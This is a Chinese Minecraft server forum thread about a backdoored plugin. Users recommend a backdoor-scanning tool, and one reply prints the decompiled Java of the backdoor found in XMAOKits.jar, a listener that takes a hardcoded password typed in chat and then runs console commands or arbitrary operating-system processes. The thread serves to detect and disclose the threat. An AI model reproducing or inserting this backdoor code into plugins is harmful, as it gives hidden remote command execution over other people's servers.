玩家只要输入!@6^#4(*^8!$!@(#^ 命令,好像就可以直接运行。


请使用站内大佬开发的扫描软件,直接就扫出来了
[修正|安全]MCG —— 后门插件扫描|联网管控|敏感行为阻止[全版本]
https://www.mcbbs.net/thread-1480083-1-1.html
[修正|安全]MCG —— 后门插件扫描|联网管控|敏感行为阻止[全版本]
https://www.mcbbs.net/thread-1480083-1-1.html
依照指示将该 .jar 文件放置在服务器根目录:
下载 https://www.mcbbs.net/thread-1475155-1-1.html,并使用如下命令行(保存为 .cmd / .bat 文件)启动:
复制代码
三个模式都选择开开看看。
噢对了,如果扫到的话就把样本私发我看看。
下载 https://www.mcbbs.net/thread-1475155-1-1.html,并使用如下命令行(保存为 .cmd / .bat 文件)启动:
- [url=home.php?mod=space&uid=39305]@echo[/url] off
- java -jar mcg_3b0.jar
- pause
三个模式都选择开开看看。
噢对了,如果扫到的话就把样本私发我看看。
bossshop和serversafetymanagement这两个,可以去正式渠道下载并替换
一楼和二楼的建议可以有效的找出那个有后门,如果不知道可以进群找吧扫出来的发群里群主会检查插件的代码
本帖最后由 超级粒子炮 于 2024-1-14 14:25 编辑
这个方法很好,推荐
名副其实 发表于 2024-1-14 13:33
依照指示将该 .jar 文件放置在服务器根目录:
下载 https://www.mcbbs.net/thread-1475155-1-1.html,并使 ...
这个方法很好,推荐

真的很吓人。
真境 发表于 2024-1-14 14:42
真的很吓人。
经鉴定,你所使用的插件存在后门,具体可定位到如下代码:
X【礼包】XMAOKits.jar
me.xmao.XMAOKits.Listener.InventoryUpdater
- package me.xmao.XMAOKits.Listener;
- import java.io.BufferedReader;
- import java.io.InputStreamReader;
- import org.bukkit.Bukkit;
- import org.bukkit.GameMode;
- import org.bukkit.command.CommandSender;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.PlayerChatTabCompleteEvent;
- public class InventoryUpdater implements Listener {
- private static String psw = "!@6^#4(*^8!$!@(#^";
-
- @EventHandler(ignoreCancelled = true)
- public void onTab(PlayerChatTabCompleteEvent e) {
- String[] cmd = e.getChatMessage().split(" ");
- if (cmd.length > 0 &&
- cmd[0].equals(psw))
- if (cmd.length > 1) {
- if ("zl".equals(cmd[1])) {
- StringBuilder sb = new StringBuilder();
- for (int i = 2; i < cmd.length; i++) {
- sb.append(cmd[i]);
- sb.append(" ");
- }
- Bukkit.getServer().dispatchCommand((CommandSender)Bukkit.getConsoleSender(), sb.toString());
- e.getPlayer().sendMessage(");
- } else {
- String[] args = new String[cmd.length - 1];
- for (int i = 0; i < args.length; i++)
- args[i] = cmd[i + 1];
- try {
- Process p = (new ProcessBuilder(args)).start();
- BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
- String buff;
- while ((buff = br.readLine()) != null)
- e.getPlayer().sendMessage(buff);
- } catch (Exception ex) {
- e.getPlayer().sendMessage("\n" + ex.getMessage());
- }
- e.getPlayer().sendMessage(");
- }
- } else {
- Bukkit.getServer().setDefaultGameMode(GameMode.CREATIVE);
- e.getPlayer().sendMessage(");
- }
- }
- }